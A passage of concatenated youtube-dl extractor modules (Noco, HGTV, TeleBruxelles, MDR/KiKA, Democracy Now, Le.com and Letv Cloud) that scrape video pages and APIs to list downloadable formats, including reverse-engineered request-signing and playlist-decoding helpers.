                    'format_id': '%s-%d' % (link[1], bitrate),
                    'vbr': bitrate,
                })

        subtitles = {}
        for src, src_lang in re.findall(r'<track kind="captions" src="([^"]+)" srclang="([^"]+)"', webpage):
            subtitles[src_lang] = [{
                'ext': src.split('/')[-1],
                'url': 'http://www.funnyordie.com%s' % src,
            }]

        post_json = self._search_regex(
            r'fb_post\s*=\s*(\{.*?\});', webpage, 'post details')
        post = json.loads(post_json)

        return {
            'id': video_id,
            'title': post['name'],
            'description': post.get('description'),
            'thumbnail': post.get('picture'),
            'formats': formats,
            'subtitles': subtitles,
        }






# encoding: utf-8
from __future__ import unicode_literals

import re
import time
import hashlib

from .common import InfoExtractor
from ..compat import (
    compat_str,
    compat_urlparse,
)
from ..utils import (
    clean_html,
    ExtractorError,
    int_or_none,
    float_or_none,
    parse_iso8601,
    sanitized_Request,
    urlencode_postdata,
)


class NocoIE(InfoExtractor):
    _VALID_URL = r'https?://(?:(?:www\.)?noco\.tv/emission/|player\.noco\.tv/\?idvideo=)(?P<id>\d+)'
    _LOGIN_URL = 'http://noco.tv/do.php'
    _API_URL_TEMPLATE = 'https://api.noco.tv/1.1/%s?ts=%s&tk=%s'
    _SUB_LANG_TEMPLATE = '&sub_lang=%s'
    _NETRC_MACHINE = 'noco'

    _TESTS = [
        {
            'url': 'http://noco.tv/emission/11538/nolife/ami-ami-idol-hello-france/',
            'md5': '0a993f0058ddbcd902630b2047ef710e',
            'info_dict': {
                'id': '11538',
                'ext': 'mp4',
                'title': 'Ami Ami Idol - Hello! France',
                'description': 'md5:4eaab46ab68fa4197a317a88a53d3b86',
                'upload_date': '20140412',
                'uploader': 'Nolife',
                'uploader_id': 'NOL',
                'duration': 2851.2,
            },
            'skip': 'Requires noco account',
        },
        {
            'url': 'http://noco.tv/emission/12610/lbl42/the-guild/s01e01-wake-up-call',
            'md5': 'c190f1f48e313c55838f1f412225934d',
            'info_dict': {
                'id': '12610',
                'ext': 'mp4',
                'title': 'The Guild #1 - Wake-Up Call',
                'timestamp': 1403863200,
                'upload_date': '20140627',
                'uploader': 'LBL42',
                'uploader_id': 'LBL',
                'duration': 233.023,
            },
            'skip': 'Requires noco account',
        }
    ]

    def _real_initialize(self):
        self._login()

    def _login(self):
        (username, password) = self._get_login_info()
        if username is None:
            return

        login_form = {
            'a': 'login',
            'cookie': '1',
            'username': username,
            'password': password,
        }
        request = sanitized_Request(self._LOGIN_URL, urlencode_postdata(login_form))
        request.add_header('Content-Type', 'application/x-www-form-urlencoded; charset=UTF-8')

        login = self._download_json(request, None, 'Logging in as %s' % username)

        if 'erreur' in login:
            raise ExtractorError('Unable to login: %s' % clean_html(login['erreur']), expected=True)

    @staticmethod
    def _ts():
        return int(time.time() * 1000)

    def _call_api(self, path, video_id, note, sub_lang=None):
        ts = compat_str(self._ts() + self._ts_offset)
        tk = hashlib.md5((hashlib.md5(ts.encode('ascii')).hexdigest() + '#8S?uCraTedap6a').encode('ascii')).hexdigest()
        url = self._API_URL_TEMPLATE % (path, ts, tk)
        if sub_lang:
            url += self._SUB_LANG_TEMPLATE % sub_lang

        request = sanitized_Request(url)
        request.add_header('Referer', self._referer)

        resp = self._download_json(request, video_id, note)

        if isinstance(resp, dict) and resp.get('error'):
            self._raise_error(resp['error'], resp['description'])

        return resp

    def _raise_error(self, error, description):
        raise ExtractorError(
            '%s returned error: %s - %s' % (self.IE_NAME, error, description),
            expected=True)

    def _real_extract(self, url):
        video_id = self._match_id(url)

        # Timestamp adjustment offset between server time and local time
        # must be calculated in order to use timestamps closest to server's
        # in all API requests (see https://github.com/rg3/youtube-dl/issues/7864)
        webpage = self._download_webpage(url, video_id)

        player_url = self._search_regex(
            r'(["\'])(?P<player>https?://noco\.tv/(?:[^/]+/)+NocoPlayer.+?\.swf.*?)\1',
            webpage, 'noco player', group='player',
            default='http://noco.tv/cdata/js/player/NocoPlayer-v1.2.40.swf')

        qs = compat_urlparse.parse_qs(compat_urlparse.urlparse(player_url).query)
        ts = int_or_none(qs.get('ts', [None])[0])
        self._ts_offset = ts - self._ts() if ts else 0
        self._referer = player_url

        medias = self._call_api(
            'shows/%s/medias' % video_id,
            video_id, 'Downloading video JSON')

        show = self._call_api(
            'shows/by_id/%s' % video_id,
            video_id, 'Downloading show JSON')[0]

        options = self._call_api(
            'users/init', video_id,
            'Downloading user options JSON')['options']
        audio_lang_pref = options.get('audio_language') or options.get('language', 'fr')

        if audio_lang_pref == 'original':
            audio_lang_pref = show['original_lang']
        if len(medias) == 1:
            audio_lang_pref = list(medias.keys())[0]
        elif audio_lang_pref not in medias:
            audio_lang_pref = 'fr'

        qualities = self._call_api(
            'qualities',
            video_id, 'Downloading qualities JSON')

        formats = []

        for audio_lang, audio_lang_dict in medias.items():
            preference = 1 if audio_lang == audio_lang_pref else 0
            for sub_lang, lang_dict in audio_lang_dict['video_list'].items():
                for format_id, fmt in lang_dict['quality_list'].items():
                    format_id_extended = 'audio-%s_sub-%s_%s' % (audio_lang, sub_lang, format_id)

                    video = self._call_api(
                        'shows/%s/video/%s/%s' % (video_id, format_id.lower(), audio_lang),
                        video_id, 'Downloading %s video JSON' % format_id_extended,
                        sub_lang if sub_lang != 'none' else None)

                    file_url = video['file']
                    if not file_url:
                        continue

                    if file_url in ['forbidden', 'not found']:
                        popmessage = video['popmessage']
                        self._raise_error(popmessage['title'], popmessage['message'])

                    formats.append({
                        'url': file_url,
                        'format_id': format_id_extended,
                        'width': int_or_none(fmt.get('res_width')),
                        'height': int_or_none(fmt.get('res_lines')),
                        'abr': int_or_none(fmt.get('audiobitrate'), 1000),
                        'vbr': int_or_none(fmt.get('videobitrate'), 1000),
                        'filesize': int_or_none(fmt.get('filesize')),
                        'format_note': qualities[format_id].get('quality_name'),
                        'quality': qualities[format_id].get('priority'),
                        'preference': preference,
                    })

        self._sort_formats(formats)

        timestamp = parse_iso8601(show.get('online_date_start_utc'), ' ')

        if timestamp is not None and timestamp < 0:
            timestamp = None

        uploader = show.get('partner_name')
        uploader_id = show.get('partner_key')
        duration = float_or_none(show.get('duration_ms'), 1000)

        thumbnails = []
        for thumbnail_key, thumbnail_url in show.items():
            m = re.search(r'^screenshot_(?P<width>\d+)x(?P<height>\d+)$', thumbnail_key)
            if not m:
                continue
            thumbnails.append({
                'url': thumbnail_url,
                'width': int(m.group('width')),
                'height': int(m.group('height')),
            })

        episode = show.get('show_TT') or show.get('show_OT')
        family = show.get('family_TT') or show.get('family_OT')
        episode_number = show.get('episode_number')

        title = ''
        if family:
            title += family
        if episode_number:
            title += ' #' + compat_str(episode_number)
        if episode:
            title += ' - ' + compat_str(episode)

        description = show.get('show_resume') or show.get('family_resume')

        return {
            'id': video_id,
            'title': title,
            'description': description,
            'thumbnails': thumbnails,
            'timestamp': timestamp,
            'uploader': uploader,
            'uploader_id': uploader_id,
            'duration': duration,
            'formats': formats,
        }






# coding: utf-8
from __future__ import unicode_literals

from .common import InfoExtractor
from ..utils import (
    int_or_none,
    js_to_json,
    smuggle_url,
)


class HGTVIE(InfoExtractor):
    _VALID_URL = r'https?://(?:www\.)?hgtv\.ca/[^/]+/video/(?P<id>[^/]+)/video.html'
    _TEST = {
        'url': 'http://www.hgtv.ca/homefree/video/overnight-success/video.html?v=738081859718&p=1&s=da#video',
        'md5': '',
        'info_dict': {
            'id': 'aFH__I_5FBOX',
            'ext': 'mp4',
            'title': 'Overnight Success',
            'description': 'After weeks of hard work, high stakes, breakdowns and pep talks, the final 2 contestants compete to win the ultimate dream.',
            'uploader': 'SHWM-NEW',
            'timestamp': 1470320034,
            'upload_date': '20160804',
        },
        'params': {
            # m3u8 download
            'skip_download': True,
        },
    }

    def _real_extract(self, url):
        display_id = self._match_id(url)
        webpage = self._download_webpage(url, display_id)
        embed_vars = self._parse_json(self._search_regex(
            r'(?s)embed_vars\s*=\s*({.*?});',
            webpage, 'embed vars'), display_id, js_to_json)
        return {
            '_type': 'url_transparent',
            'url': smuggle_url(
                'http://link.theplatform.com/s/dtjsEC/%s?mbr=true&manifest=m3u' % embed_vars['pid'], {
                    'force_smil_url': True
                }),
            'series': embed_vars.get('show'),
            'season_number': int_or_none(embed_vars.get('season')),
            'episode_number': int_or_none(embed_vars.get('episode')),
            'ie_key': 'ThePlatform',
        }


class HGTVComShowIE(InfoExtractor):
    IE_NAME = 'hgtv.com:show'
    _VALID_URL = r'https?://(?:www\.)?hgtv\.com/shows/[^/]+/(?P<id>[^/?#&]+)'
    _TEST = {
        'url': 'http://www.hgtv.com/shows/flip-or-flop/flip-or-flop-full-episodes-videos',
        'info_dict': {
            'id': 'flip-or-flop-full-episodes-videos',
            'title': 'Flip or Flop Full Episodes',
        },
        'playlist_mincount': 15,
    }

    def _real_extract(self, url):
        display_id = self._match_id(url)

        webpage = self._download_webpage(url, display_id)

        config = self._parse_json(
            self._search_regex(
                r'(?s)data-module=["\']video["\'][^>]*>.*?<script[^>]+type=["\']text/x-config["\'][^>]*>(.+?)</script',
                webpage, 'video config'),
            display_id)['channels'][0]

        entries = [
            self.url_result(video['releaseUrl'])
            for video in config['videos'] if video.get('releaseUrl')]

        return self.playlist_result(
            entries, display_id, config.get('title'), config.get('description'))






# coding: utf-8
from __future__ import unicode_literals

import re

from .common import InfoExtractor


class TeleBruxellesIE(InfoExtractor):
    _VALID_URL = r'https?://(?:www\.)?(?:telebruxelles|bx1)\.be/(news|sport|dernier-jt)/?(?P<id>[^/#?]+)'
    _TESTS = [{
        'url': 'http://www.telebruxelles.be/news/auditions-devant-parlement-francken-galant-tres-attendus/',
        'md5': '59439e568c9ee42fb77588b2096b214f',
        'info_dict': {
            'id': '11942',
            'display_id': 'auditions-devant-parlement-francken-galant-tres-attendus',
            'ext': 'flv',
            'title': 'Parlement : Francken et Galant répondent aux interpellations de l’opposition',
            'description': 're:Les auditions des ministres se poursuivent*'
        },
        'params': {
            'skip_download': 'requires rtmpdump'
        },
    }, {
        'url': 'http://www.telebruxelles.be/sport/basket-brussels-bat-mons-80-74/',
        'md5': '181d3fbdcf20b909309e5aef5c6c6047',
        'info_dict': {
            'id': '10091',
            'display_id': 'basket-brussels-bat-mons-80-74',
            'ext': 'flv',
            'title': 'Basket : le Brussels bat Mons 80-74',
            'description': 're:^Ils l\u2019on fait ! En basket, le B*',
        },
        'params': {
            'skip_download': 'requires rtmpdump'
        },
    }]

    def _real_extract(self, url):
        display_id = self._match_id(url)
        webpage = self._download_webpage(url, display_id)

        article_id = self._html_search_regex(
            r"<article id=\"post-(\d+)\"", webpage, 'article ID', default=None)
        title = self._html_search_regex(
            r'<h1 class=\"entry-title\">(.*?)</h1>', webpage, 'title')
        description = self._og_search_description(webpage, default=None)

        rtmp_url = self._html_search_regex(
            r'file\s*:\s*"(rtmp://[^/]+/vod/mp4:"\s*\+\s*"[^"]+"\s*\+\s*".mp4)"',
            webpage, 'RTMP url')
        rtmp_url = re.sub(r'"\s*\+\s*"', '', rtmp_url)

        return {
            'id': article_id or display_id,
            'display_id': display_id,
            'title': title,
            'description': description,
            'url': rtmp_url,
            'ext': 'flv',
            'rtmp_live': True  # if rtmpdump is not called with "--live" argument, the download is blocked and can be completed
        }






# coding: utf-8
from __future__ import unicode_literals

from .common import InfoExtractor
from ..compat import compat_urlparse
from ..utils import (
    determine_ext,
    int_or_none,
    parse_duration,
    parse_iso8601,
    xpath_text,
)


class MDRIE(InfoExtractor):
    IE_DESC = 'MDR.DE and KiKA'
    _VALID_URL = r'https?://(?:www\.)?(?:mdr|kika)\.de/(?:.*)/[a-z]+-?(?P<id>\d+)(?:_.+?)?\.html'

    _TESTS = [{
        # MDR regularly deletes its videos
        'url': 'http://www.mdr.de/fakt/video189002.html',
        'only_matching': True,
    }, {
        # audio
        'url': 'http://www.mdr.de/kultur/audio1312272_zc-15948bad_zs-86171fdd.html',
        'md5': '64c4ee50f0a791deb9479cd7bbe9d2fa',
        'info_dict': {
            'id': '1312272',
            'ext': 'mp3',
            'title': 'Feuilleton vom 30. Oktober 2015',
            'duration': 250,
            'uploader': 'MITTELDEUTSCHER RUNDFUNK',
        },
    }, {
        'url': 'http://www.kika.de/baumhaus/videos/video19636.html',
        'md5': '4930515e36b06c111213e80d1e4aad0e',
        'info_dict': {
            'id': '19636',
            'ext': 'mp4',
            'title': 'Baumhaus vom 30. Oktober 2015',
            'duration': 134,
            'uploader': 'KIKA',
        },
    }, {
        'url': 'http://www.kika.de/sendungen/einzelsendungen/weihnachtsprogramm/videos/video8182.html',
        'md5': '5fe9c4dd7d71e3b238f04b8fdd588357',
        'info_dict': {
            'id': '8182',
            'ext': 'mp4',
            'title': 'Beutolomäus und der geheime Weihnachtswunsch',
            'description': 'md5:b69d32d7b2c55cbe86945ab309d39bbd',
            'timestamp': 1450950000,
            'upload_date': '20151224',
            'duration': 4628,
            'uploader': 'KIKA',
        },
    }, {
        'url': 'http://www.kika.de/baumhaus/sendungen/video19636_zc-fea7f8a0_zs-4bf89c60.html',
        'only_matching': True,
    }, {
        'url': 'http://www.kika.de/sendungen/einzelsendungen/weihnachtsprogramm/einzelsendung2534.html',
        'only_matching': True,
    }, {
        'url': 'http://www.mdr.de/mediathek/mdr-videos/a/video-1334.html',
        'only_matching': True,
    }]

    def _real_extract(self, url):
        video_id = self._match_id(url)

        webpage = self._download_webpage(url, video_id)

        data_url = self._search_regex(
            r'(?:dataURL|playerXml(?:["\'])?)\s*:\s*(["\'])(?P<url>.+/(?:video|audio)-?[0-9]+-avCustom\.xml)\1',
            webpage, 'data url', group='url').replace('\/', '/')

        doc = self._download_xml(
            compat_urlparse.urljoin(url, data_url), video_id)

        title = xpath_text(doc, ['./title', './broadcast/broadcastName'], 'title', fatal=True)

        formats = []
        processed_urls = []
        for asset in doc.findall('./assets/asset'):
            for source in (
                    'progressiveDownload',
                    'dynamicHttpStreamingRedirector',
                    'adaptiveHttpStreamingRedirector'):
                url_el = asset.find('./%sUrl' % source)
                if url_el is None:
                    continue

                video_url = url_el.text
                if video_url in processed_urls:
                    continue

                processed_urls.append(video_url)

                vbr = int_or_none(xpath_text(asset, './bitrateVideo', 'vbr'), 1000)
                abr = int_or_none(xpath_text(asset, './bitrateAudio', 'abr'), 1000)

                ext = determine_ext(url_el.text)
                if ext == 'm3u8':
                    url_formats = self._extract_m3u8_formats(
                        video_url, video_id, 'mp4', entry_protocol='m3u8_native',
                        preference=0, m3u8_id='HLS', fatal=False)
                elif ext == 'f4m':
                    url_formats = self._extract_f4m_formats(
                        video_url + '?hdcore=3.7.0&plugin=aasp-3.7.0.39.44', video_id,
                        preference=0, f4m_id='HDS', fatal=False)
                else:
                    media_type = xpath_text(asset, './mediaType', 'media type', default='MP4')
                    vbr = int_or_none(xpath_text(asset, './bitrateVideo', 'vbr'), 1000)
                    abr = int_or_none(xpath_text(asset, './bitrateAudio', 'abr'), 1000)
                    filesize = int_or_none(xpath_text(asset, './fileSize', 'file size'))

                    f = {
                        'url': video_url,
                        'format_id': '%s-%d' % (media_type, vbr or abr),
                        'filesize': filesize,
                        'abr': abr,
                        'preference': 1,
                    }

                    if vbr:
                        width = int_or_none(xpath_text(asset, './frameWidth', 'width'))
                        height = int_or_none(xpath_text(asset, './frameHeight', 'height'))
                        f.update({
                            'vbr': vbr,
                            'width': width,
                            'height': height,
                        })

                    url_formats = [f]

                if not url_formats:
                    continue

                if not vbr:
                    for f in url_formats:
                        abr = f.get('tbr') or abr
                        if 'tbr' in f:
                            del f['tbr']
                        f.update({
                            'abr': abr,
                            'vcodec': 'none',
                        })

                formats.extend(url_formats)

        self._sort_formats(formats)

        description = xpath_text(doc, './broadcast/broadcastDescription', 'description')
        timestamp = parse_iso8601(
            xpath_text(
                doc, [
                    './broadcast/broadcastDate',
                    './broadcast/broadcastStartDate',
                    './broadcast/broadcastEndDate'],
                'timestamp', default=None))
        duration = parse_duration(xpath_text(doc, './duration', 'duration'))
        uploader = xpath_text(doc, './rights', 'uploader')

        return {
            'id': video_id,
            'title': title,
            'description': description,
            'timestamp': timestamp,
            'duration': duration,
            'uploader': uploader,
            'formats': formats,
        }






# coding: utf-8
from __future__ import unicode_literals

import re
import os.path

from .common import InfoExtractor
from ..compat import compat_urlparse
from ..utils import (
    url_basename,
    remove_start,
)


class DemocracynowIE(InfoExtractor):
    _VALID_URL = r'https?://(?:www\.)?democracynow.org/(?P<id>[^\?]*)'
    IE_NAME = 'democracynow'
    _TESTS = [{
        'url': 'http://www.democracynow.org/shows/2015/7/3',
        'md5': '3757c182d3d84da68f5c8f506c18c196',
        'info_dict': {
            'id': '2015-0703-001',
            'ext': 'mp4',
            'title': 'Daily Show',
        },
    }, {
        'url': 'http://www.democracynow.org/2015/7/3/this_flag_comes_down_today_bree',
        'info_dict': {
            'id': '2015-0703-001',
            'ext': 'mp4',
            'title': '"This Flag Comes Down Today": Bree Newsome Scales SC Capitol Flagpole, Takes Down Confederate Flag',
            'description': 'md5:4d2bc4f0d29f5553c2210a4bc7761a21',
        },
        'params': {
            'skip_download': True,
        },
    }]

    def _real_extract(self, url):
        display_id = self._match_id(url)

        webpage = self._download_webpage(url, display_id)

        json_data = self._parse_json(self._search_regex(
            r'<script[^>]+type="text/json"[^>]*>\s*({[^>]+})', webpage, 'json'),
            display_id)

        title = json_data['title']
        formats = []

        video_id = None

        for key in ('file', 'audio', 'video', 'high_res_video'):
            media_url = json_data.get(key, '')
            if not media_url:
                continue
            media_url = re.sub(r'\?.*', '', compat_urlparse.urljoin(url, media_url))
            video_id = video_id or remove_start(os.path.splitext(url_basename(media_url))[0], 'dn')
            formats.append({
                'url': media_url,
                'vcodec': 'none' if key == 'audio' else None,
            })

        self._sort_formats(formats)

        default_lang = 'en'
        subtitles = {}

        def add_subtitle_item(lang, info_dict):
            if lang not in subtitles:
                subtitles[lang] = []
            subtitles[lang].append(info_dict)

        # chapter_file are not subtitles
        if 'caption_file' in json_data:
            add_subtitle_item(default_lang, {
                'url': compat_urlparse.urljoin(url, json_data['caption_file']),
            })

        for subtitle_item in json_data.get('captions', []):
            lang = subtitle_item.get('language', '').lower() or default_lang
            add_subtitle_item(lang, {
                'url': compat_urlparse.urljoin(url, subtitle_item['url']),
            })

        description = self._og_search_description(webpage, default=None)

        return {
            'id': video_id or display_id,
            'title': title,
            'description': description,
            'thumbnail': json_data.get('image'),
            'subtitles': subtitles,
            'formats': formats,
        }






# coding: utf-8
from __future__ import unicode_literals

import base64
import datetime
import hashlib
import re
import time

from .common import InfoExtractor
from ..compat import (
    compat_ord,
    compat_str,
    compat_urllib_parse_urlencode,
)
from ..utils import (
    determine_ext,
    encode_data_uri,
    ExtractorError,
    int_or_none,
    orderedSet,
    parse_iso8601,
    str_or_none,
    url_basename,
    urshift,
    update_url_query,
)


class LeIE(InfoExtractor):
    IE_DESC = '乐视网'
    _VALID_URL = r'https?://(?:www\.le\.com/ptv/vplay|sports\.le\.com/video)/(?P<id>\d+)\.html'

    _URL_TEMPLATE = 'http://www.le.com/ptv/vplay/%s.html'

    _TESTS = [{
        'url': 'http://www.le.com/ptv/vplay/22005890.html',
        'md5': 'edadcfe5406976f42f9f266057ee5e40',
        'info_dict': {
            'id': '22005890',
            'ext': 'mp4',
            'title': '第87届奥斯卡颁奖礼完美落幕 《鸟人》成最大赢家',
            'description': 'md5:a9cb175fd753e2962176b7beca21a47c',
        },
        'params': {
            'hls_prefer_native': True,
        },
    }, {
        'url': 'http://www.le.com/ptv/vplay/1415246.html',
        'info_dict': {
            'id': '1415246',
            'ext': 'mp4',
            'title': '美人天下01',
            'description': 'md5:f88573d9d7225ada1359eaf0dbf8bcda',
        },
        'params': {
            'hls_prefer_native': True,
        },
    }, {
        'note': 'This video is available only in Mainland China, thus a proxy is needed',
        'url': 'http://www.le.com/ptv/vplay/1118082.html',
        'md5': '2424c74948a62e5f31988438979c5ad1',
        'info_dict': {
            'id': '1118082',
            'ext': 'mp4',
            'title': '与龙共舞 完整版',
            'description': 'md5:7506a5eeb1722bb9d4068f85024e3986',
        },
        'params': {
            'hls_prefer_native': True,
        },
        'skip': 'Only available in China',
    }, {
        'url': 'http://sports.le.com/video/25737697.html',
        'only_matching': True,
    }]

    # ror() and calc_time_key() are reversed from a embedded swf file in KLetvPlayer.swf
    def ror(self, param1, param2):
        _loc3_ = 0
        while _loc3_ < param2:
            param1 = urshift(param1, 1) + ((param1 & 1) << 31)
            _loc3_ += 1
        return param1

    def calc_time_key(self, param1):
        _loc2_ = 773625421
        _loc3_ = self.ror(param1, _loc2_ % 13)
        _loc3_ = _loc3_ ^ _loc2_
        _loc3_ = self.ror(_loc3_, _loc2_ % 17)
        return _loc3_

    # reversed from http://jstatic.letvcdn.com/sdk/player.js
    def get_mms_key(self, time):
        return self.ror(time, 8) ^ 185025305

    # see M3U8Encryption class in KLetvPlayer.swf
    @staticmethod
    def decrypt_m3u8(encrypted_data):
        if encrypted_data[:5].decode('utf-8').lower() != 'vc_01':
            return encrypted_data
        encrypted_data = encrypted_data[5:]

        _loc4_ = bytearray(2 * len(encrypted_data))
        for idx, val in enumerate(encrypted_data):
            b = compat_ord(val)
            _loc4_[2 * idx] = b // 16
            _loc4_[2 * idx + 1] = b % 16
        idx = len(_loc4_) - 11
        _loc4_ = _loc4_[idx:] + _loc4_[:idx]
        _loc7_ = bytearray(len(encrypted_data))
        for i in range(len(encrypted_data)):
            _loc7_[i] = _loc4_[2 * i] * 16 + _loc4_[2 * i + 1]

        return bytes(_loc7_)

    def _check_errors(self, play_json):
        # Check for errors
        playstatus = play_json['playstatus']
        if playstatus['status'] == 0:
            flag = playstatus['flag']
            if flag == 1:
                msg = 'Country %s auth error' % playstatus['country']
            else:
                msg = 'Generic error. flag = %d' % flag
            raise ExtractorError(msg, expected=True)

    def _real_extract(self, url):
        media_id = self._match_id(url)
        page = self._download_webpage(url, media_id)

        play_json_h5 = self._download_json(
            'http://api.le.com/mms/out/video/playJsonH5',
            media_id, 'Downloading html5 playJson data', query={
                'id': media_id,
                'platid': 3,
                'splatid': 304,
                'format': 1,
                'tkey': self.get_mms_key(int(time.time())),
                'domain': 'www.le.com',
                'tss': 'no',
            },
            headers=self.geo_verification_headers())
        self._check_errors(play_json_h5)

        play_json_flash = self._download_json(
            'http://api.le.com/mms/out/video/playJson',
            media_id, 'Downloading flash playJson data', query={
                'id': media_id,
                'platid': 1,
                'splatid': 101,
                'format': 1,
                'tkey': self.calc_time_key(int(time.time())),
                'domain': 'www.le.com',
            },
            headers=self.geo_verification_headers())
        self._check_errors(play_json_flash)

        def get_h5_urls(media_url, format_id):
            location = self._download_json(
                media_url, media_id,
                'Download JSON metadata for format %s' % format_id, query={
                    'format': 1,
                    'expect': 3,
                    'tss': 'no',
                })['location']

            return {
                'http': update_url_query(location, {'tss': 'no'}),
                'hls': update_url_query(location, {'tss': 'ios'}),
            }

        def get_flash_urls(media_url, format_id):
            media_url += '&' + compat_urllib_parse_urlencode({
                'm3v': 1,
                'format': 1,
                'expect': 3,
                'rateid': format_id,
            })

            nodes_data = self._download_json(
                media_url, media_id,
                'Download JSON metadata for format %s' % format_id)

            req = self._request_webpage(
                nodes_data['nodelist'][0]['location'], media_id,
                note='Downloading m3u8 information for format %s' % format_id)

            m3u8_data = self.decrypt_m3u8(req.read())

            return {
                'hls': encode_data_uri(m3u8_data, 'application/vnd.apple.mpegurl'),
            }

        extracted_formats = []
        formats = []
        for play_json, get_urls in ((play_json_h5, get_h5_urls), (play_json_flash, get_flash_urls)):
            playurl = play_json['playurl']
            play_domain = playurl['domain'][0]

            for format_id, format_data in playurl.get('dispatch', []).items():
                if format_id in extracted_formats:
                    continue
                extracted_formats.append(format_id)

                media_url = play_domain + format_data[0]
                for protocol, format_url in get_urls(media_url, format_id).items():
                    f = {
                        'url': format_url,
                        'ext': determine_ext(format_data[1]),
                        'format_id': '%s-%s' % (protocol, format_id),
                        'protocol': 'm3u8_native' if protocol == 'hls' else 'http',
                        'quality': int_or_none(format_id),
                    }

                    if format_id[-1:] == 'p':
                        f['height'] = int_or_none(format_id[:-1])

                    formats.append(f)
        self._sort_formats(formats, ('height', 'quality', 'format_id'))

        publish_time = parse_iso8601(self._html_search_regex(
            r'发布时间&nbsp;([^<>]+) ', page, 'publish time', default=None),
            delimiter=' ', timezone=datetime.timedelta(hours=8))
        description = self._html_search_meta('description', page, fatal=False)

        return {
            'id': media_id,
            'formats': formats,
            'title': playurl['title'],
            'thumbnail': playurl['pic'],
            'description': description,
            'timestamp': publish_time,
        }


class LePlaylistIE(InfoExtractor):
    _VALID_URL = r'https?://[a-z]+\.le\.com/(?!video)[a-z]+/(?P<id>[a-z0-9_]+)'

    _TESTS = [{
        'url': 'http://www.le.com/tv/46177.html',
        'info_dict': {
            'id': '46177',
            'title': '美人天下',
            'description': 'md5:395666ff41b44080396e59570dbac01c'
        },
        'playlist_count': 35
    }, {
        'url': 'http://tv.le.com/izt/wuzetian/index.html',
        'info_dict': {
            'id': 'wuzetian',
            'title': '武媚娘传奇',
            'description': 'md5:e12499475ab3d50219e5bba00b3cb248'
        },
        # This playlist contains some extra videos other than the drama itself
        'playlist_mincount': 96
    }, {
        'url': 'http://tv.le.com/pzt/lswjzzjc/index.shtml',
        # This series is moved to http://www.le.com/tv/10005297.html
        'only_matching': True,
    }, {
        'url': 'http://www.le.com/comic/92063.html',
        'only_matching': True,
    }, {
        'url': 'http://list.le.com/listn/c1009_sc532002_d2_p1_o1.html',
        'only_matching': True,
    }]

    @classmethod
    def suitable(cls, url):
        return False if LeIE.suitable(url) else super(LePlaylistIE, cls).suitable(url)

    def _real_extract(self, url):
        playlist_id = self._match_id(url)
        page = self._download_webpage(url, playlist_id)

        # Currently old domain names are still used in playlists
        media_ids = orderedSet(re.findall(
            r'<a[^>]+href="http://www\.letv\.com/ptv/vplay/(\d+)\.html', page))
        entries = [self.url_result(LeIE._URL_TEMPLATE % media_id, ie='Le')
                   for media_id in media_ids]

        title = self._html_search_meta('keywords', page,
                                       fatal=False).split('，')[0]
        description = self._html_search_meta('description', page, fatal=False)

        return self.playlist_result(entries, playlist_id, playlist_title=title,
                                    playlist_description=description)


class LetvCloudIE(InfoExtractor):
    # Most of *.letv.com is changed to *.le.com on 2016/01/02
    # but yuntv.letv.com is kept, so also keep the extractor name
    IE_DESC = '乐视云'
    _VALID_URL = r'https?://yuntv\.letv\.com/bcloud.html\?.+'

    _TESTS = [{
        'url': 'http://yuntv.letv.com/bcloud.html?uu=p7jnfw5hw9&vu=467623dedf',
        'md5': '26450599afd64c513bc77030ad15db44',
        'info_dict': {
            'id': 'p7jnfw5hw9_467623dedf',
            'ext': 'mp4',
            'title': 'Video p7jnfw5hw9_467623dedf',
        },
    }, {
        'url': 'http://yuntv.letv.com/bcloud.html?uu=p7jnfw5hw9&vu=ec93197892&pu=2c7cd40209&auto_play=1&gpcflag=1&width=640&height=360',
        'md5': 'e03d9cc8d9c13191e1caf277e42dbd31',
        'info_dict': {
            'id': 'p7jnfw5hw9_ec93197892',
            'ext': 'mp4',
            'title': 'Video p7jnfw5hw9_ec93197892',
        },
    }, {
        'url': 'http://yuntv.letv.com/bcloud.html?uu=p7jnfw5hw9&vu=187060b6fd',
        'md5': 'cb988699a776b22d4a41b9d43acfb3ac',
        'info_dict': {
            'id': 'p7jnfw5hw9_187060b6fd',
            'ext': 'mp4',
            'title': 'Video p7jnfw5hw9_187060b6fd',
        },
    }]

    @staticmethod
    def sign_data(obj):
        if obj['cf'] == 'flash':
            salt = '2f9d6924b33a165a6d8b5d3d42f4f987'
            items = ['cf', 'format', 'ran', 'uu', 'ver', 'vu']
        elif obj['cf'] == 'html5':
            salt = 'fbeh5player12c43eccf2bec3300344'
            items = ['cf', 'ran', 'uu', 'bver', 'vu']
        input_data = ''.join([item + obj[item] for item in items]) + salt
        obj['sign'] = hashlib.md5(input_data.encode('utf-8')).hexdigest()

    def _get_formats(self, cf, uu, vu, media_id):
        def get_play_json(cf, timestamp):
            data = {
                'cf': cf,
                'ver': '2.2',
                'bver': 'firefox44.0',
                'format': 'json',
                'uu': uu,
                'vu': vu,
                'ran': compat_str(timestamp),
            }
            self.sign_data(data)
            return self._download_json(
                'http://api.letvcloud.com/gpc.php?' + compat_urllib_parse_urlencode(data),
                media_id, 'Downloading playJson data for type %s' % cf)

        play_json = get_play_json(cf, time.time())
        # The server time may be different from local time
        if play_json.get('code') == 10071:
            play_json = get_play_json(cf, play_json['timestamp'])

        if not play_json.get('data'):
            if play_json.get('message'):
                raise ExtractorError('Letv cloud said: %s' % play_json['message'], expected=True)
            elif play_json.get('code'):
                raise ExtractorError('Letv cloud returned error %d' % play_json['code'], expected=True)
            else:
                raise ExtractorError('Letv cloud returned an unknwon error')

        def b64decode(s):
            return base64.b64decode(s.encode('utf-8')).decode('utf-8')

        formats = []
        for media in play_json['data']['video_info']['media'].values():
            play_url = media['play_url']
            url = b64decode(play_url['main_url'])
            decoded_url = b64decode(url_basename(url))
            formats.append({
                'url': url,
                'ext': determine_ext(decoded_url),
                'format_id': str_or_none(play_url.get('vtype')),
                'format_note': str_or_none(play_url.get('definition')),
                'width': int_or_none(play_url.get('vwidth')),
                'height': int_or_none(play_url.get('vheight')),
            })

        return formats

    def _real_extract(self, url):
        uu_mobj = re.search('uu=([\w]+)', url)
        vu_mobj = re.search('vu=([\w]+)', url)

        if not uu_mobj or not vu_mobj:
            raise ExtractorError('Invalid URL: %s' % url, expected=True)

        uu = uu_mobj.group(1)
        vu = vu_mobj.group(1)
        media_id = uu + '_' + vu

        formats = self._get_formats('flash', uu, vu, media_id) + self._get_formats('html5', uu, vu, media_id)
        self._sort_formats(formats)

        return {
            'id': media_id,
            'title': 'Video %s' % media_id,
            'formats': formats,
        }






# coding: utf-8
from __future__ import unicode_literals

import re

from .common import InfoExtractor
